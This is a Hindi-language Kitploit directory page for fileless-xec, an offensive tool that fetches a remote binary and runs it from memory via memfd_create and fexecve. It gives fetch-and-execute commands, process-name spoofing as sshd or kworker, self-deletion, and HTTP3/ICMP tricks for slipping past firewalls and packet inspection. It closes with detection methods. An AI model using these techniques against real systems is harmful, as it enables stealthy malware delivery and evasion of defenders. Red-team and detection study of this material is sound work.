Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
fileless-xec — गुप्त ड्रॉपर डिस्क पर रखे बिना रिमोट बाइनरी को निष्पादित करता है .(HTTP3 समर्थन, ICMP समर्थन, अदृश्य निशान, क्रॉस-प्लेटफ़ॉर्म,...) | Kitploit
उपकरण/GitHubGitHub/ariary/fileless-xec
पेलोड जनरेशनशोषणआईडीएस/आईपीएस से बचनापोस्ट-शोषणWAF बाईपासपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubariary/fileless-xec
20942202 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

fileless-xec

गुप्त ड्रॉपर डिस्क पर रखे बिना रिमोट बाइनरी को निष्पादित करता है .(HTTP3 समर्थन, ICMP समर्थन, अदृश्य निशान, क्रॉस-प्लेटफ़ॉर्म,...)

रिपॉजिटरी देखें
साझा करें

➲ fileless-xec 🦜

👋 निश्चित रूप से उपयोगी, मुख्यतः मज़े के लिए, मोटे तौर पर 0x00 लेख से प्रेरित

पेंटेस्ट उपयोग: fileless-xec का उपयोग लक्ष्य मशीन पर बाइनरी फ़ाइल को चुपके से निष्पादित करने के लिए किया जाता है जो हमलावर मशीन पर स्थित होती है

➲ संक्षिप्त कहानी

fileless-xec हमें एक दूरस्थ बाइनरी को स्थानीय मशीन पर मेमोरी से सीधे निष्पादित करने की अनुमति देता है, बिना उसे डिस्क पर डाले

➪ स्थापना

  • सरल उपयोग fileless-xec [binary_url] (~बाइनरी के लिए curl | sh)
  • निर्दिष्ट प्रोग्राम नाम के साथ बाइनरी निष्पादित करें: fileless-xec -n /usr/sbin/sshd [binary_url]
  • tty से प्रोग्राम निष्पादन अलग करें: fileless-xec --setsid [...]

demo

व्याख्या हम स्थानीय रूप से writeNsleep बाइनरी को निष्पादित करना चाहते हैं जो दूरस्थ मशीन पर स्थित है।

पहले हम दूरस्थ पर एक python http सर्वर शुरू करते हैं। स्थानीय रूप से हम fileless-xec का उपयोग करते हैं और बाइनरी writeNsleep के निष्पादन के लिए /usr/sbin/sshd नाम का प्रतिरूपण करते हैं (चुपके और मज़े के लिए)। एक बार writeNsleep शुरू होने पर fileless-xec स्वयं को हटा देगा (--self-remove)

अन्य उपयोग मामले

  • stdout/stdin के साथ बाइनरी निष्पादित करें
  • तर्कों के साथ बाइनरी निष्पादित करें
  • fileless-xec स्व-हटाना
  • ICMP का उपयोग करके नेटवर्क प्रतिबंध को बायपास करें
  • HTTP3 के साथ फ़ायरवॉल को बायपास करें
  • "दूरस्थ गो": स्थानीय रूप से गो स्थापित किए बिना गो बाइनरी निष्पादित करें
  • एक शेल स्क्रिप्ट निष्पादित करें
  • fileless-xec सर्वर मोड
    • RAT (दूरस्थ एक्सेस ट्रोजन) परिदृश्य
  • fileless-xec विंडोज़ पर

➲ चुपके की कहानी

  • बाइनरी फ़ाइल होस्ट फ़ाइल सिस्टम में मैप नहीं होती है
  • निष्पादन प्रोग्राम का नाम अनुकूलित किया जा सकता है
  • तीसरी पीढ़ी के फ़ायरवॉल को http3 समर्थन के साथ बायपास किया जा सकता है
  • fileless-xec लॉन्च होने के बाद स्वयं को हटा देता है

memfd_create

दूरस्थ बाइनरी फ़ाइल को स्थानीय रूप से memfd_create सिस्टम कॉल का उपयोग करके संग्रहीत किया जाता है, जो इसे एक मेमोरी डिस्क में संग्रहीत करता है जो फ़ाइल सिस्टम में मैप नहीं होती है (अर्थात आप इसे ls का उपयोग करके नहीं ढूंढ सकते)।

नोट: memfd_create सिस्टम कॉल macOS के लिए मौजूद नहीं है।

fexecve

फिर हम इसे fexecve सिस्टम कॉल का उपयोग करके निष्पादित करते हैं (चूंकि यह वर्तमान में syscall golang लाइब्रेरी द्वारा प्रदान नहीं किया गया है, हम इसे लागू करते हैं)।

fexecve के साथ हम एक प्रोग्राम को निष्पादित कर सकते हैं, लेकिन हम पूर्ण पथ के बजाय एक फ़ाइल डिस्क्रिप्टर का उपयोग करके चलाने के लिए प्रोग्राम को संदर्भित करते हैं।

HTTP3/QUIC

इसे -Q/http3 फ़्लैग से सक्षम करें।
आप go run ./test/http3/light-server.go -p LISTENING_PORT चलाकर http3 समर्थन वाला एक हल्का वेब रूट फ़ाइल सर्वर सेट कर सकते हैं (यह python3 -m http.server के http3 समकक्ष है)
प्रमाणपत्र और कुंजी उत्पन्न करने के लिए test/http3/genkey.sh का उपयोग करें।

QUIC UDP उर्फ http3 एक नई पीढ़ी का इंटरनेट प्रोटोकॉल है जो ऑनलाइन वेब अनुप्रयोगों को गति देता है जो विलंब के प्रति संवेदनशील हैं, जैसे खोज, वीडियो स्ट्रीमिंग आदि, सर्वर से कनेक्ट होने के लिए आवश्यक राउंड-ट्रिप समय (RTT) को कम करके।

क्योंकि QUIC TLS के समान मालिकाना एन्क्रिप्शन का उपयोग करता है (यह भविष्य में एक मानकीकृत संस्करण के साथ बदल जाएगा), तीसरी पीढ़ी के फ़ायरवॉल जो एप्लिकेशन नियंत्रण और दृश्यता प्रदान करते हैं, QUIC ट्रैफ़िक को नियंत्रित और मॉनिटर करने में कठिनाइयों का सामना करते हैं।

यदि आप वास्तव में fileless-xec का उपयोग ड्रॉपर के रूप में करते हैं (केवल परीक्षण उद्देश्य या प्राधिकरण के साथ), तो संभवतः आप कुछ प्रकार के मैलवेयर या अन्य फ़ाइल निष्पादित करना चाहेंगे जो पैकेट विश्लेषण द्वारा गिराए जा सकते हैं। इसलिए, Quic सक्षम होने पर आप पैकेट विश्लेषण को बायपास कर सकते हैं और GET मैलवेयर प्राप्त कर सकते हैं।

इसके अलावा, यदि फ़ायरवॉल केवल ट्रैफ़िक को अनुमति/अवरुद्ध करने के लिए उपयोग किया जाता है, तो यह हो सकता है कि फ़ायरवॉल नियम udp प्रोटोकॉल को भूल जाते हैं जिससे आपके अनुरोध रडार के नीचे चले जाते हैं

चुपके के लिए अन्य कौशल

यद्यपि मेमोरी डिस्क पर मौजूद नहीं है, फिर भी चल रहे प्रोग्राम का पता ps कमांड का उपयोग करके लगाया जा सकता है, उदाहरण के लिए।

  1. नकली प्रोग्राम नाम के साथ निशान छुपाएं

fileless-xec --name <fake_name> <binary_raw_url> डिफ़ॉल्ट रूप से नाम [kworker/u:0] है

  1. डेमॉन प्रक्रिया के व्यवहार को मैप करने के लिए tty से अलग करें

fileless-xec --setsid <binary_raw_url>।

सीमाएँ

आप अभी भी इससे पकड़े जा सकते हैं:

$ lsof | grep memfd

या opensnoop भी (लेकिन execsnoop से नहीं)

या execve सिस्टम कॉल का ऑडिट करने वाला seccomp प्रोफ़ाइल (लेकिन यह बहुत भारी है क्योंकि sleep कमांड भी execve का उपयोग करता है, उदाहरण के लिए)

टूल डाउनलोड करें